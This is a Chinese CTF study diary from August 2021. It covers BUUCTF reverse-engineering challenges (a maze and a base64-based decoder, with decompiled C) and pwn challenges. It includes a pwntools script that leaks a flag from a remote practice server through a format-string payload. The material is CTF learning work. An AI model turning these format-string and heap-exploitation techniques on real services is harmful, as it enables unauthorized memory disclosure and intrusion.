21.08.10学习总结
Column: August 10, 2021
Tags: learning experience
不知道什么时间-不知道什么时间: buu刷题
Re:
不一样的flag: 迷宫题の初体验, 一开始IDA的分析不对导致分析题目分析不出来, 就问了一下学长如何修改IDA的stack显示(先edit-undefined, 再右击选择array啥的或者按D表示define啥的), 而后就是分析迷宫, 由于这个字符串被默认认为是在末尾加上\x00了, 所以才被识别为char[26], 实际迷宫是char[25]的
后面我看网上分析说因为25可以被5整除, 所以就变成了55的迷宫, 我认为这样说不够严谨, 应该是根据下面的代码合理分析与猜想得到的55(主要是5*v4这玩意)
后面我们的迷宫就如下了:
* 1 1 1 1
0 1 0 0 0
0 1 0 1 0
0 0 0 1 0
1 1 1 1 #
看图的话就是直接可以眼睛看出来, 但是分析代码的话就是你改变v4, v5的值, 在满足如下条件的最短路径即可:
*(&v8 + 5 * v4 + v5 - 0x29) != '1' && *(&v8 + 5 * v4 + v5 - 0x29) == '#'
刮开有奖: 一道base64+其它一丢丢奇怪加密的玩意, 主要要注意的是IDA识别sub_4010F0的参数可能怪怪的, v7到v16应该算一整个数组, 如何4010F0如果要转换成C的话, 里面4i啥的在int32数组里可以直接写成a1[i], 毕竟44=16位=4字节嘛(摊手)
然后它的base64比我之前的写的短, 因为是限制好的6字节, 所以只有一种情况, 写特定解法就行了, 我之前写的通解, 主要base64先找这种key值就能很快识别咯
其次%3啊, &0x3F之类的都算是base64的特征
Pwn:
jarvisoj_level5: 基础ret2shellcode, 没高兴自己写
gyctf_2020_some_thing_interesting: 简单的uaf, 有个格式化字符串可以直接泄露libc了(unsorted用不了, 要不然这题太白给了), 做了会自己也没高兴做了
picoctf_2018_echooo: 两种解法, 一个是先想办法搞出栈地址, 然后写上flag的地址, 再%x$s这样读, 另一个是和我一样nt, 直接很多%p读, 然后傻逼兮兮的写个解十六进制输出的脚本
exp:
RE:
刮开有奖(主要是解前两位的, 后面的自己找个base64就行):
#include <stdlib.h>
#include <stdio.h>
#include <iostream>
using namespace std;
int decode1(char a1[], int a2, int a3)
{
int result; // eax
int i; // esi
int v5; // ecx
int v6; // edx
result = a3;
for (i = a2; i <= a3; a2 = i)
{
v5 = i;
v6 = a1[i];
if (a2 < result && i < result)
{
do
{
if (v6 > a1[result])
{
if (i >= result)
break;
++i;
a1[v5] = a1[result];
if (i >= result)
break;
while (a1[i] <= v6)
{
if (++i >= result)
goto LABEL_13;
}
if (i >= result)
break;
v5 = 4 * i;
a1[result] = a1[i];
}
--result;
}
while (i < result);
}
LABEL_13:
a1[result] = v6;
decode1(a1, a2, i - 1);
result = a3;
++i;
}
return result;
}
_BYTE* __cdecl sub_401000(int a1, int a2)
{
int v2; // eax
int v3; // esi
size_t v4; // ebx
_BYTE* v5; // eax
_BYTE* v6; // edi
int v7; // eax
_BYTE* v8; // ebx
int v9; // edi
int v10; // edx
int v11; // edi
int v12; // eax
int i; // esi
_BYTE* result; // eax
_BYTE* v15; // [esp+Ch] [ebp-10h]
_BYTE* v16; // [esp+10h] [ebp-Ch]
int v17; // [esp+14h] [ebp-8h]
int v18; // [esp+18h] [ebp-4h]
v2 = a2 / 3;
v3 = 0;
if (a2 % 3 > 0)
++v2;
v4 = 4 * v2 + 1;
v5 = malloc(v4);
v6 = v5;
v15 = v5;
if (!v5)
exit(0);
memset(v5, 0, v4);
v7 = a2;
v8 = v6;
v16 = v6;
if (a2 > 0)
{
while (1)
{
v9 = 0;
v10 = 0;
v18 = 0;
do
{
if (v3 >= v7)
break;
++v10;
v9 = *(unsigned __int8*)(v3 + a1) | (v9 << 8);
++v3;
} while (v10 < 3);
v11 = v9 << (8 * (3 - v10));
v12 = 0;
v17 = v3;
for (i = 18; i > -6; i -= 6)
{
if (v10 >= v12)
{
*((_BYTE*)&v18 + v12) = (v11 >> i) & 0x3F;
v8 = v16;
}
else
{
*((_BYTE*)&v18 + v12) = 64;
}
*v8++ = byte_407830[*((char*)&v18 + v12++)];
v16 = v8;
}
v3 = v17;
if (v17 >= a2)
break;
v7 = a2;
}
v6 = v15;
}
result = v6;
*v8 = 0;
return result;
}
int main()
{
char v7[30] = {90,74,83,69,67,97,78,72,51,110,103};
decode1(v7, 0, 10);
printf("%c%c", (v7[0]+34), v7[1]);
return 0;
}
Pwn:
PicoCTF_2018_echooo(跑不出来多跑几次):
#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=remote('node4.buuoj.cn',26428)
#sh=process('./PicoCTF_2018_echooo')
sh.recv()
payload=''
for i in range(20):
payload+='%'+str(27+i)+'$p'
sh.sendline(payload)
flag=sh.recvuntil('(nil)')
flag=flag[:-5]
flag_len=len(flag)
new_flag=''
i=0
while i<flag_len:
ii=i+1
if flag[i]=='0' and flag[ii]=='x':
i=i+2
if flag[i]=='a':
i=i+1
continue
new_flag+=flag[i]
i+=1
print new_flag
i=0
new_flag_len=len(new_flag)
final_flag=''
tmp_flag=''
while i<new_flag_len:
if i%8 == 0 and i !=0:
for a in range(4):
final_flag+=tmp_flag[3-a]
tmp_flag=''
ii=i+1
tmp=int(new_flag[i], 16)*16+int(new_flag[ii], 16)
tmp_flag+=chr(tmp)
i+=2
tmp_flag_len=len(tmp_flag)
for i in range(tmp_flag_len):
final_flag+=tmp_flag[tmp_flag_len-i-1]
print final_flag
sh.interactive()
逼话环节:
最近不玩游戏了, 真要学内核了, 呜呜呜, 明天要做手术了